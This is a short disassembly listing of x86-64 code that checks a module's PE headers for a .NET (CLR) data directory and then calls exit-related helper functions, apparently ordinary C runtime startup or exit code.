jne 0x1400c8447
xor ecx, ecx
call qword [0x140125b10]
test rax, rax
je 0x1400c8447
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c8447
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c8447
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c8447
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c8447
cmp dword [rcx + 0xf8], 0
je 0x1400c8447
mov ecx, ebx
call fcn.1400c8304
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400c856c
nop
cmp dword [rbp + 0x20], 0
je 0x1400c8495
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400c83a4
int3